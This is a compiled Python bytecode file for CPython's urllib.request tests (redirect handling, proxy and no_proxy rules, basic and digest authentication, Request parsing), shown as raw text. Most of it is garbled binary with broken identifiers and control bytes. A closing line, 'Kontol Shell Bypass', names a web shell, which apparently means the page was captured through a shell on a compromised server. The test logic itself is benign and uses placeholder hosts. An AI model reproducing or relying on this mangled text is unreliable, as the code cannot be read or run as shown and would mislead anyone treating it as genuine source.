z#HandlerTests.test_redirect_fragmentcs|��tjj�tjj�d}t�|�tj_��t	tjd��t
d�����fdd�}|tjj_tj�d�}��|�
�d�dS)Ns(HTTP/1.1 302 Found
Location: ?query

�HTTPConnection)z/pathz/path?querycs8��|t����j|||g|�Ri|��d|j_dS)NsHTTP/1.1 200 OK

Hello!)r�nextrr�Zfakedata)�connr�rO�pos�kw�Z
real_classrrJr%r&rsz3HandlerTests.test_redirect_no_path.<locals>.requestzhttp://python.org/pathzhttp://python.org/path?query)r*r+rr,r�r�r�r�fakehttpr��iterr/rr�)rZ	response1rr�r%r�r&�test_redirect_no_path
s
z"HandlerTests.test_redirect_no_pathc
	Cs�Gdd�dtjj�}|�}tj�|�}d}|D]|\}}|�t|���Vt�d|d�|_|�	d�}d|d}|j
}	|�|	�|�t|	��Wd�q.1s�0Yq.dS)	Nc@seZdZdd�ZdS)z4HandlerTests.test_redirect_encoding.<locals>.HandlercSs(|�|j|�}|jj|_t�d�|_|S)Ns)HTTP/1.1 200 OK
Content-Length: 3

123)r��
connection�buf�last_bufrr�)rr[�resultr%r%r&r�"s
�z>HandlerTests.test_redirect_encoding.<locals>.Handler.http_openN)rGrrHr�r%r%r%r&�Handler!sr�))s/på-dansk/s/p%C3%A5-dansk/)�/spaced%20path/r�)s
/spaced path/r�)s/?på-dansks/?p%C3%A5-dansks!HTTP/1.1 302 Redirect
Location: s

r]sGET � )
r+r�HTTPHandler�build_opener�subTest�reprrr�r�r�r�rSr�)
rr�rr�r=r�r�rrrr%r%r&�test_redirect_encodings"���
z#HandlerTests.test_redirect_encodingcCs�d}t|d�t|d�fD]�}t�}tj�|�}|�|�dgg}t||�}td�}|�|j	d�|�
|�|�|j	|�|�|ddfgd	d
�|jD��qdS)N�proxy.example.com:3128�r�)ZHTTP)r�r�zhttp://acme.example.com/zacme.example.comrr�cSsg|]}|dd��qS�rr�r%�r��tupr%r%r&r�QrSz+HandlerTests.test_proxy.<locals>.<listcomp>)�dictrr+r�ProxyHandlerr�r�rrr�r�r�)rr!rcr�phr�r�r[r%r%r&�
test_proxyAs
�

�zHandlerTests.test_proxycCs�dtjd<t�}tj�tdd��}|�|�td�}|�	|j
d�|�|�|�	|j
d�td�}|�	|j
d�|�|�|�	|j
d�tjd=dS)	Nz
python.org�no_proxy�proxy.example.comr�zhttp://www.perl.org/�www.perl.orgr�r��r�environrr+rr�r�r�rrr�r��rrr�r[r%r%r&�test_proxy_no_proxySs



z HandlerTests.test_proxy_no_proxycCsfdtjd<t�}tj�tdd��}|�|�td�}|�	|j
d�|�|�|�	|j
d�tjd=dS)N�*r�r�r�r�r�r�r�r%r%r&�test_proxy_no_proxy_allbs


z$HandlerTests.test_proxy_no_proxy_allcCs�t�}tj�tdd��}|�|�dgg}t||�}td�}|�|j	d�|�
|�|�|j	d�|�|ddfgdd	�|jD��dS)
Nr��r�)r�r��https://www.example.com/�www.example.comrr�cSsg|]}|dd��qSr�r%r�r%r%r&r�{rSz1HandlerTests.test_proxy_https.<locals>.<listcomp>)rr+rr�r�r�r�rrr�r�r�)rrr�r�r�r[r%r%r&�test_proxy_httpsms
�

�zHandlerTests.test_proxy_httpscCs�t�}tj�tdd��}|�|�t�}|�|�td�}|�dd�|�dd�|�	|j
d�|�|j�|�
|�|�d	|jj�|�d
|jj�|�|j�|�	|j
d�|�	|�d�d�dS)Nr�r�r��Proxy-Authorization�FooBar�
User-Agent�Grailr�)r�r�)r�r��Proxy-authorization)rr+rr�r�r�r�rrUrr�rXr�r�rXr�r�rCr�rY)rrr�Z
https_handlerr[r%r%r&�$test_proxy_https_proxy_authorization}s(


��z1HandlerTests.test_proxy_https_proxy_authorization�darwinzonly relevant for OSXcCs�dgd�d�}dD]}|�t||�d|�qdD]}|�t||�d|�q2dgd�}|�td	|��dd
dgd�}d}|�t||�d|�d
}|�t||�d|�dS)NF)�foo.barz	*.bar.com�	127.0.0.1z10.10z10.0/16)Zexclude_simple�
exceptions)r�zwww.bar.comr�z	10.10.0.1z10.0.0.1z expected bypass of %s to be True)zabc.foo.barzbar.comz	127.0.0.2z	10.11.0.1Znotinbypassz!expected bypass of %s to be FalseT�testz10.0.0.0/40z172.19.10.0/24z172.19.10.5z10.0.1.5)rSr
rW)rZbypassr�r%r%r&�test_osx_proxy_bypass�s0���
���z"HandlerTests.test_osx_proxy_bypasscCs�|j||d��lt�}t�}tj�|�}d�|�d}td|�}|�|�|�|�|�	||d|||dd�Wd�n1s�0YdS)N)r�rNz
r��r��!http://acme.example.com/protected)
r�rr�r+rr�joinr�r��_test_basic_auth)rrNr�r��password_manager�auth_handlerr��http_handlerr%r%r&�check_basic_auth�s



�zHandlerTests.check_basic_authc

Cs.d}d}d|�d�}d|�d�}d}d|�d�}d|�d�d|�d�d|�d	�|�d
|��|�d
|��|�d
|��|�d
|��|�d
|��fD]}d|��g}|�||�q�t�dtf��(d
|��g}|�||�Wd�n1s�0Y||g||g||gfD] }	dd�|	D�}|�||��qdS)Nzrealm2@example.comz
Basic realm="�"zOtherscheme xxxzDigest realm="zn", qop="auth, auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41"z
Basic realm='�'z", charset="UTF-8"z, �WWW-Authenticate: zBasic Auth Realm was unquotedzWWW-Authenticate: Basic realm=cSsg|]}d|���qS)r�r%)r�Z	challenger%r%r&r��s�z0HandlerTests.test_basic_auth.<locals>.<listcomp>)r�rZcheck_warnings�UserWarning)
rr�Zrealm2�basicZbasic2Zother_no_realm�digestZ	realm_strrNZ
challengesr%r%r&�test_basic_auth�s<


��*��zHandlerTests.test_basic_authc
Csvt�}tj�tdd��}|�|�t�}tj�|�}d}tdd|�}|�|�|�|�|�	||d|||dd�dS)Nr�r��
ACME Networksi�z(Proxy-Authenticate: Basic realm="%s"

r�z&http://acme.example.com:3128/protected)
rr+rr�r�r�r�ZProxyBasicAuthHandlerr�r�)rr�r�r�r�r�r�r%r%r&�test_proxy_basic_auth�s 
�


�z"HandlerTests.test_proxy_basic_authc

Cs�Gdd�dt�}Gdd�dtjj�}Gdd�dtjj�}|�}t�}||�}||�}d}tdd	|�}	|�|�|�|�|�|	�|�||d
||	|dd�|�	|j
dd
gd�dS)Nc@seZdZdd�Zdd�ZdS)zQHandlerTests.test_basic_and_digest_auth_handlers.<locals>.RecordingOpenerDirectorcSst�|�g|_dSr)rr��recordedr�r%r%r&r�s
zZHandlerTests.test_basic_and_digest_auth_handlers.<locals>.RecordingOpenerDirector.__init__cSs|j�|�dSr)r�r�)rr�r%r%r&�recordszXHandlerTests.test_basic_and_digest_auth_handlers.<locals>.RecordingOpenerDirector.recordN)rGrrHr�rr%r%r%r&�RecordingOpenerDirectorsrc@seZdZdd�ZdS)zOHandlerTests.test_basic_and_digest_auth_handlers.<locals>.TestDigestAuthHandlerc_s,|j�d�tjjj|g|�Ri|��dS)Nr�)r�rr+r�HTTPDigestAuthHandler�http_error_401�rr�r�r%r%r&rs��z^HandlerTests.test_basic_and_digest_auth_handlers.<locals>.TestDigestAuthHandler.http_error_401N�rGrrHrr%r%r%r&�TestDigestAuthHandlersrc@seZdZdd�ZdS)zNHandlerTests.test_basic_and_digest_auth_handlers.<locals>.TestBasicAuthHandlerc_s,|j�d�tjjj|g|�Ri|��dS)Nr�)r�rr+rrrrr%r%r&rs��z]HandlerTests.test_basic_and_digest_auth_handlers.<locals>.TestBasicAuthHandler.http_error_401Nrr%r%r%r&�TestBasicAuthHandlersrr�r��&WWW-Authenticate: Basic realm="%s"

r�r�r�r�r�)rr+rrrr�r�r�r�rr�)
rrrrr�r�Zdigest_handlerZ
basic_handlerr�r�r%r%r&�#test_basic_and_digest_auth_handlerss(	�



�z0HandlerTests.test_basic_and_digest_auth_handlerscCsDt�}tj�d�}tdd�}|�|�|�|�|�t|jd�dS)Nr�zWWW-Authenticate: Kerberos

r�)	rr+rrr�r�r-r.r�)rr�Zdigest_auth_handlerr�r%r%r&�$test_unsupported_auth_digest_handler4s�

z1HandlerTests.test_unsupported_auth_digest_handlercCsDt�}tj�d�}tdd�}|�|�|�|�|�t|jd�dS)Nr�zWWW-Authenticate: NTLM

r�)	rr+rrr�r�r-r.r�)rr�Zbasic_auth_handlerr�r%r%r&�#test_unsupported_auth_basic_handler>s�

z0HandlerTests.test_unsupported_auth_basic_handlerc	CsHddl}	d\}
}|�|||
|�|�||j�|�||j�|�|
|j�|�||j�|�|�|�|j|�|�|j	|�|�t
|j�d�|�|jd�
|��td|
|fd�}d|	�|�����}
|�|jd�|�|
�|�|jdj||
�d|_|_|��|�|�|�t
|j�d�|�|jd�
|��dS)Nr�ZwileZcoyoter�z%s:%s�asciizBasic r�)�base64rprr�rOrr_r�rrr�r�rWrT�bytesZencodebytesr��decoderYrYr�)rr�r�Zauth_headerr�r�r��request_urlZ
protected_urlrrr_ZuserpassZauth_hdr_valuer%r%r&r�Hs6
���
zHandlerTests._test_basic_authc	Cs~d\}}d}td�}t�}t|�}|jd|||dd�|�|�}|�|�t�}|�|�|�|�|�|�|�|j	�dS)Nrr�r�T)�is_authenticated)
r�rrrprrSrr�r�r�)	rrr_rr��pwd_manager�auth_prior_handler�is_authr�r%r%r&�test_basic_prior_auth_auto_sendms
�




z,HandlerTests.test_basic_prior_auth_auto_sendc
Cs�d\}}d}d}t�}t|�}|�||||�|�|�}|�|�t�}|�|�tddd�}	|�|	�|�|�|�|�}|�	|�t
d�}	|�|	j�t�}|�|�|�|	�|�|�|�	|	j�dS)Nrr�ZACMEr�rr�)rrrprrWrr�r�r�rSr�r�)
rrr_rr�rrrr�r�r%r%r&�.test_basic_prior_auth_send_after_first_success�s0


�






z;HandlerTests.test_basic_prior_auth_send_after_first_successc	Cs�dD]�\}}d�|�}t�|��|�}tj��}td�}d|_|�	||��}|�
�Wd�n1sj0Y|�|jj
d�|��qdS)N))zConnection: close�data)zTransfer-Encoding: chunkeds4
data
0

)zContent-Length: 4rzHTTP/1.1 200 OK
{}

�
http://dummy/zConnection not closed with {!r})�formatrr�rr+rr�rr�r�r5rS�fakesock�closed)rZtransferr��headerr�rr[Zrespr%r%r&�test_http_closed�s

&
�zHandlerTests.test_http_closedcCspt�d�}tj��}td�}d|_|�tj	j
��|�||�Wd�n1sR0Y|�|j
jd�dS)NrSrzConnection not closed)rr�r+rr�rr�r-r�r�Z
BadStatusLiner�rSrr)rr�rr[r%r%r&�test_invalid_closed�s

*z HandlerTests.test_invalid_closedN)/rGrrHr<rKr\rirkrurxryr~rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r!�
skipUnlessrn�platformr�r�r�r�r	r
rr�rrrrr%r%r%r&r$�sR@\B
J
	#
!-2

%(r$c@sNeZdZdd�Zdd�Ze�e�d�d�dd��Z	d	d
�Z
dd�Zd
d�ZdS)�	MiscTestscs"|�t�fdd�|jD���dS)Nc3s|]}|j�kVqdSr)r�)r�r<��
handler_classr%r&�	<genexpr>�s�z/MiscTests.opener_has_handler.<locals>.<genexpr>)rS�anyr�)rr�r$r%r#r&�opener_has_handler�s�zMiscTests.opener_has_handlercCs(Gdd�dtjj�}Gdd�dtjj�}Gdd�dtjj�}tjj}|||�}|�||�|�||�|||��}|�||�|�||�||�}|�||�|�}|�|tjj�|tjj�}|�|tjj�|tj���}|�|tjj�Gdd�dtjj�}|||�}|�||�|�||�dS)	Nc@seZdZdS)z2MiscTests.test_build_opener.<locals>.MyHTTPHandlerNr�r%r%r%r&�
MyHTTPHandler�sr(c@seZdZdd�ZdS)z/MiscTests.test_build_opener.<locals>.FooHandlercSsdSrr%r�r%r%r&�foo_open�sz8MiscTests.test_build_opener.<locals>.FooHandler.foo_openN)rGrrHr)r%r%r%r&�
FooHandler�sr*c@seZdZdd�ZdS)z/MiscTests.test_build_opener.<locals>.BarHandlercSsdSrr%r�r%r%r&�bar_open�sz8MiscTests.test_build_opener.<locals>.BarHandler.bar_openN)rGrrHr+r%r%r%r&�
BarHandler�sr,c@seZdZdS)z7MiscTests.test_build_opener.<locals>.MyOtherHTTPHandlerNr�r%r%r%r&�MyOtherHTTPHandler�sr-)r+rr��BaseHandlerr�r')rr(r*r,r�rr-r%r%r&�test_build_opener�s,

zMiscTests.test_build_openerZnetworkztest requires network accesscCs�t�d���tj��}tj�d�}|�d|j�|�|d�	d��|�d|j�|�d|�
d��|�|d�	d��|�d|j�|�d|�
d��Wd�n1s�0YdS)	Nr�rmzus-ascii�1r7Z
1234567890s
1234567890ru)rZtransient_internetr+rr�rrr�r�rrY)rr�rr%r%r&�test_issue16464�s
zMiscTests.test_issue16464cCs�d}d}}}d}tj�|||||�}|�t|d��|�|jd�|�t|d��|�|jd�d|j|j	f}|�t
|�|�d|j|j	f}|�t|�|�dS)Nzsomething bad happenedzContent-Length: 42rArNzHTTP Error %s: %sz<HTTPError %s: %r>)r+rr�rSr�rrArNr�r�rDr�)rr�rOr�r�rZrEZexpected_errmsgr%r%r&�test_HTTPError_interface
sz"MiscTests.test_HTTPError_interfacecCs:gd�}|D]\}}|�t|�|�q|�ttd�fdS)N)�r�)NNNr��r�)NNNr�r3r4)zjoe:password@proxy.example.com)Nr^r_r�)z#joe:password@proxy.example.com:3128)Nr^r_r�)zhttp://proxy.example.com/)r�NNr�)zhttp://proxy.example.com:3128/)r�NNr�)z&http://joe:password@proxy.example.com/�r�r^r_r�)z*http://joe:password@proxy.example.com:3128)r�r^r_r�)z1ftp://joe:password@proxy.example.com/rubbish:3128)r>r^r_r�)z%http://joe:password@proxy.example.comr5)z&http://user/name:password@localhost:22)r��	user/namer_�localhost:22)z&http://username:pass/word@localhost:22)r��username�	pass/wordr7)z'http://user/name:pass/word@localhost:22)r�r6r9r7zfile:/ftp.example.com)rr	r-r.)rZparse_proxy_test_casesZtcrr%r%r&�test_parse_proxys'zMiscTests.test_parse_proxycCsPt�}|�t��}|�d�Wd�n1s00Y|�t|j�d�dS)N�invalidz5Unsupported digest authentication algorithm 'invalid')rr-r.Zget_algorithm_implsrrD�	exception)rr�excr%r%r&�test_unsupported_algorithmLs(�z$MiscTests.test_unsupported_algorithmN)
rGrrHr'r/r!r rZis_resource_enabledr1r2r:r>r%r%r%r&r"�s,�
-r"c@s�eZdZGdd�de�Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�ZdS) �RequestTestsc@seZdZdZdS)zRequestTests.PutRequest�PUTN)rGrrHr�r%r%r%r&�
PutRequestWsrAcCsLtd�|_tddddid�|_tddd�|_|�d�|_|jddd�|_dS)	N�http://www.python.org/~jeremy/r�zX-Testr�rM�HEAD)r�rM)rr:�post�headrA�put�
force_postr�r%r%r&�setUpZs
��zRequestTests.setUpcCs^|�d|j���|�d|j���|�d|j���|�d|j���|�d|j���dS)NrMrLrCr@)rrDr�r:rErFrGr�r%r%r&�test_methodds
zRequestTests.test_methodcCsL|�|jj�|�d|j���d|j_|�|jj�|�d|j���dS)NrLrlrM)rWr:r�rr�rSr�r%r%r&�	test_dataks
zRequestTests.test_datacCsN|�d|jj�|j�dd�|�d|jjd�d|j_|�d|jj�dS)Nr7�*rl)rXr:rYrZrr�r�r%r%r&�.test_setting_data_should_remove_content_lengthus
z;RequestTests.test_setting_data_should_remove_content_lengthcCsT|�d|jj�d|j_|j�dd�|�d|jjd�|j`|�d|jj�dS)Nr7rgrz)rXr:rYr�rZrr�r%r%r&�/test_deleting_data_should_remove_content_length}sz<RequestTests.test_deleting_data_should_remove_content_lengthcCs|�d|j���dS)NrB)rr:r�r�r%r%r&�test_get_full_url�s�zRequestTests.test_get_full_urlcCs*|�d|jj�td�}|�d|j�dS)Nz	/~jeremy/zhttp://www.python.org/r()rr:r�rr�r%r%r&�
test_selector�szRequestTests.test_selectorcCs|�d|jj�dS)Nr�)rr:rIr�r%r%r&�
test_get_type�szRequestTests.test_get_typecCs|�d|jj�dS)Nr�)rr:r�r�r%r%r&�
test_get_host�szRequestTests.test_get_hostcCstd�}|�d|j�dS)Nzhttp://www.%70ython.org/r��rrr�r�r%r%r&�test_get_host_unquote�sz"RequestTests.test_get_host_unquotecCsR|�|j���|j�dd�|�|j���|�d|jj�|�d|jj�dS)Nr�r�r�)rWr:Z	has_proxyr�rSrr�r�r�r%r%r&r��s
zRequestTests.test_proxycCstd�}|�d|j�dS)Nz<URL:http://www.python.org>r�rRr�r%r%r&�test_wrapped_url�szRequestTests.test_wrapped_urlcCsLtd�}|�d|j�td�}|�d|j�d}t|�}|�|��|�dS)N�-http://www.python.org/?qs=query#fragment=truez
/?qs=queryzhttp://www.python.org/#fun=truer(�.http://docs.python.org/library/urllib2.html#OK)rrr�r�)rr[rOr%r%r&�test_url_fragment�szRequestTests.test_url_fragmentcCs0gd�}|D]}t|�}|�|��|j�qdS)N)zhttp://docs.python.orgrVrU)rrr�r�)rrJrOr[r%r%r&�test_url_fullurl_get_full_url�sz*RequestTests.test_url_fullurl_get_full_urlN)rGrrHrrArHrIrJrLrMrNrOrPrQrSr�rTrWrXr%r%r%r&r?Vs

r?�__main__):r!r�rZtest.supportrrrr�r�r}rnrdrpZurllib.requestr+rrrrr	r
r�urllib.parserr
Zhttp.clientr�ZTestCaser
rIr~r�r�r�r�r�r�r��IOBaser�r�r�r�r�rr.r�r�r�r�r�rr#r$r"r?rG�mainr%r%r%r&�<module>sd$4,

-6"
a


Kontol Shell Bypass